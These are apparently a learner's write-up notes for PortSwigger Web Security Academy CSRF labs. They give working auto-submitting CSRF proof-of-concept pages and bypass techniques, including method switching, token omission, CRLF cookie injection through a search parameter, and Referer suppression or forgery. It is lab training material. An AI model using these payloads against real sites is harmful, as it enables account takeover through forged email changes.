Cross-site request forgery (CSRF)

https://portswigger.net/web-security/csrf

Lab: CSRF vulnerability with no defenses

This lab's email change functionality is vulnerable to CSRF.

There is no csrf protection.

POST /my-account/change-email -> Engagements Tools -> CSRF PoC Generator -> Include Auto-Submit Script(checked) -> Regenerate -> Copy HTML

Exploit Server ->

Body:

  <html>
    <!-- CSRF PoC - generated by Burp Suite Professional -->
    <body>
    <script>history.pushState('', '', '/')</script>
      <form action="https://acd71f561e07ef5fc0553244005800ca.web-security-academy.net/my-account/change-email" method="POST">
        <input type="hidden" name="email" value="test&#64;test&#46;com" />
        <input type="submit" value="Submit request" />
      </form>
      <script>
        document.forms[0].submit();
      </script>
    </body>
  </html>

Lab: CSRF where token validation depends on request method

This lab's email change functionality is vulnerable to CSRF. It attempts to block CSRF attacks, but only applies defenses to certain types of requests.

There is weak csrf protection. We can bypass it with using another type of request.

POST /my-account/change-email HTTP/1.1
...
email=test%40test.com&csrf=sxvRDU1AMkOoKQAHggYlMxmYvwux8VQO
GET /my-account/change-email?email=test1%40test.com&csrf= HTTP/1.1

GET /my-account/change-email?email=test%40test.com&csrf= -> Engagements Tools -> CSRF PoC Generator -> Include Auto-Submit Script(checked) -> Regenerate -> Copy HTML

Exploit Server ->

Body:

  <html>
    <!-- CSRF PoC - generated by Burp Suite Professional -->
    <body>
    <script>history.pushState('', '', '/')</script>
      <form action="https://accd1fbb1fb33923c06c165e00f800af.web-security-academy.net/my-account/change-email">
        <input type="hidden" name="email" value="test2&#64;test&#46;com" />
        <input type="hidden" name="csrf" value="" />
        <input type="submit" value="Submit request" />
      </form>
      <script>
        document.forms[0].submit();
      </script>
    </body>
  </html>

Lab: CSRF where token validation depends on token being present

This lab's email change functionality is vulnerable to CSRF.

There is no csrf validation.

POST /my-account/change-email HTTP/1.1
...
email=test%40test.com&csrf=qiYsensNMTrt6sEsrg3k34F8fcETA9fV
POST /my-account/change-email HTTP/1.1
...
email=test%40test.com

POST /my-account/change-email -> Engagements Tools -> CSRF PoC Generator -> Include Auto-Submit Script(checked) -> Regenerate -> Copy HTML

Exploit Server ->

Body:

  <html>
    <!-- CSRF PoC - generated by Burp Suite Professional -->
    <body>
    <script>history.pushState('', '', '/')</script>
      <form action="https://ac051fad1fda0d08c0f81086001c006e.web-security-academy.net/my-account/change-email" method="POST">
        <input type="hidden" name="email" value="test&#64;test&#46;com" />
        <input type="submit" value="Submit request" />
      </form>
      <script>
        document.forms[0].submit();
      </script>
    </body>
  </html>

Lab: CSRF where token is not tied to user session

This lab's email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren't integrated into the site's session handling system.

There is weak csrf validation. It checks just legit one, not the relevant with the user.

POST /my-account/change-email HTTP/1.1
...
email=test%40test.com&csrf=JG7Q6mBICNYFzoyoV5hYpWtrNYd594P8
<input required type="hidden" name="csrf" value="Y9fAYvcu20R4no9eYZW5xoMu5ArQu2yU">

POST /my-account/change-email -> Engagements Tools -> CSRF PoC Generator -> Include Auto-Submit Script(checked) -> Regenerate -> Replace CSRF value -> Copy HTML

We did not use intended one. We used unused csrf value.

Exploit Server ->

Body:

  <html>
    <!-- CSRF PoC - generated by Burp Suite Professional -->
    <body>
    <script>history.pushState('', '', '/')</script>
      <form action="https://ac0c1fb61ec9ef30c0fc378900d60097.web-security-academy.net/my-account/change-email" method="POST">
        <input type="hidden" name="email" value="test&#64;test&#46;com" />
        <input type="hidden" name="csrf" value="Y9fAYvcu20R4no9eYZW5xoMu5ArQu2yU" />
        <input type="submit" value="Submit request" />
      </form>
      <script>
        document.forms[0].submit();
      </script>
    </body>
  </html>

This lab's email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren't fully integrated into the site's session handling system.

There is weak csrf validation. It checks just legit one, not the relevant with the user.

POST /my-account/change-email HTTP/1.1
Cookie: csrfKey=8I8n27eFyGpcdsZx0IclajLEbnlHnKby;
...
email=test%40test.com&csrf=fz9i4GYhEG7fmO2F1eH34fsTpsQ3vwlw

We obtained csrfKey and csrf value with an another user. So we can change email address with valid keys.

Obtained keys:

csrfKey=9Lz92TCDDpco7KZk7sH5s8DGsskKG9sZ; csrf value=qmTs9BViTSDgDcsP3zEJ12luELhW0VNT

We have to inject our csrfKey cookie to the user session.

In search function in website, we can see the way.

Search -> test

GET /?search=test HTTP/1.1
In response:
Set-Cookie: LastSearchTerm=test;

There is no filter for search. So we can use search func to inject our csrfKey cookie value.

/?search=test%0d%0aSet-Cookie:%20csrfKey=9Lz92TCDDpco7KZk7sH5s8DGsskKG9sZ
In response:
Set-Cookie: csrfKey=9Lz92TCDDpco7KZk7sH5s8DGsskKG9sZ;

POST /my-account/change-email -> Engagements Tools -> CSRF PoC Generator -> Include Auto-Submit Script(checked) -> Regenerate -> Replace CSRF value -> Replace script part as follows -> Copy HTML

Exploit Server ->

Body:

  <html>
    <!-- CSRF PoC - generated by Burp Suite Professional -->
    <body>
    <script>history.pushState('', '', '/')</script>
      <form action="https://ac221fed1ff074fdc03c5eae004b002e.web-security-academy.net/my-account/change-email" method="POST">
        <input type="hidden" name="email" value="test&#64;test&#46;com" />
        <input type="hidden" name="csrf" value="qmTs9BViTSDgDcsP3zEJ12luELhW0VNT" />
        <input type="submit" value="Submit request" />
      </form>
  	<img src="https://ac221fed1ff074fdc03c5eae004b002e.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=9Lz92TCDDpco7KZk7sH5s8DGsskKG9sZ" onerror="document.forms[0].submit()">
    </body>
  </html>

This lab's email change functionality is vulnerable to CSRF. It attempts to use the insecure "double submit" CSRF prevention technique.

There is weak csrf validation. It checks just legit one, not the relevant with the user.

Search -> test

GET /?search=test HTTP/1.1
In response:
Set-Cookie: LastSearchTerm=test;

/?search=test%0d%0aSet-Cookie:%20csrf=G2wTaO4fpWuGLL6dlBJvGBtzg7TSeDzk%0d%0aSet-Cookie:%20

POST /my-account/change-email HTTP/1.1
Cookie: csrf=G2wTaO4fpWuGLL6dlBJvGBtzg7TSeDzk; LastSearchTerm=test; session=XcWME6SyAyKgICamvlFjNT5ielLP0h45
...
email=test%40test.com&csrf=G2wTaO4fpWuGLL6dlBJvGBtzg7TSeDzk

POST /my-account/change-email -> Engagements Tools -> CSRF PoC Generator -> Include Auto-Submit Script(checked) -> Regenerate -> Replace script part as follows -> Copy HTML

Exploit Server ->

Body:

  <html>
    <!-- CSRF PoC - generated by Burp Suite Professional -->
    <body>
    <script>history.pushState('', '', '/')</script>
      <form action="https://acea1f341e7613f6c0800a9100c9002e.web-security-academy.net/my-account/change-email" method="POST">
        <input type="hidden" name="email" value="test&#64;test&#46;com" />
        <input type="hidden" name="csrf" value="G2wTaO4fpWuGLL6dlBJvGBtzg7TSeDzk" />
        <input type="submit" value="Submit request" />
      </form>
  	<img src="https://acea1f341e7613f6c0800a9100c9002e.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=G2wTaO4fpWuGLL6dlBJvGBtzg7TSeDzk%0d%0aSet-Cookie:%20" onerror="document.forms[0].submit()">
    </body>
  </html>

Lab: CSRF where Referer validation depends on header being present

This lab's email change functionality is vulnerable to CSRF. It attempts to block cross domain requests but has an insecure fallback.

There is weak csrf validation. It checks just legit referer header.

POST /my-account/change-email HTTP/1.1
Referer: https://accc1f911e9210ebc0554ed9000a0090.web-security-academy.net/my-account
...
email=test3%40test.com

We got this error with using non-related domains at referer header: "Invalid referer header"

We deleted the referer header, then we could make the request successfully.

POST /my-account/change-email -> Engagements Tools -> CSRF PoC Generator -> Include Auto-Submit Script(checked) -> Regenerate -> Add the meta tag with contents -> Copy HTML

Exploit Server ->

Body:

  <html>
    <!-- CSRF PoC - generated by Burp Suite Professional -->
    <meta name="referrer" content="no-referrer">
    <body>
    <script>history.pushState('', '', '/')</script>
      <form action="https://accc1f911e9210ebc0554ed9000a0090.web-security-academy.net/my-account/change-email" method="POST">
        <input type="hidden" name="email" value="test&#64;test&#46;com" />
        <input type="submit" value="Submit request" />
      </form>
      <script>
        document.forms[0].submit();
      </script>
    </body>
  </html>

Lab: CSRF with broken Referer validation

This lab's email change functionality is vulnerable to CSRF. It attempts to detect and block cross domain requests, but the detection mechanism can be bypassed.

There is weak csrf validation. It checks just legit referer header.

POST /my-account/change-email HTTP/1.1
Referer: https://ac3a1fd81f88743bc0a2729b00e700ad.web-security-academy.net/my-account
...
email=test%40test.com

Referer: https://exploit-acf71f421f2374fec07372a7011e0077.web-security-academy.net/?ac3a1fd81f88743bc0a2729b00e700ad.web-security-academy.net

Exploit Server ->

Header:

  Referrer-Policy: unsafe-url
	
Body:

  <html>
    <!-- CSRF PoC - generated by Burp Suite Professional -->
    <body>
    <script>history.pushState('', '', '/?ac3a1fd81f88743bc0a2729b00e700ad.web-security-academy.net')</script>
      <form action="https://ac3a1fd81f88743bc0a2729b00e700ad.web-security-academy.net/my-account/change-email" method="POST">
        <input type="hidden" name="email" value="test&#64;test&#46;com" />
        <input type="submit" value="Submit request" />
      </form>
      <script>
        document.forms[0].submit();
      </script>
    </body>
  </html>

Last updated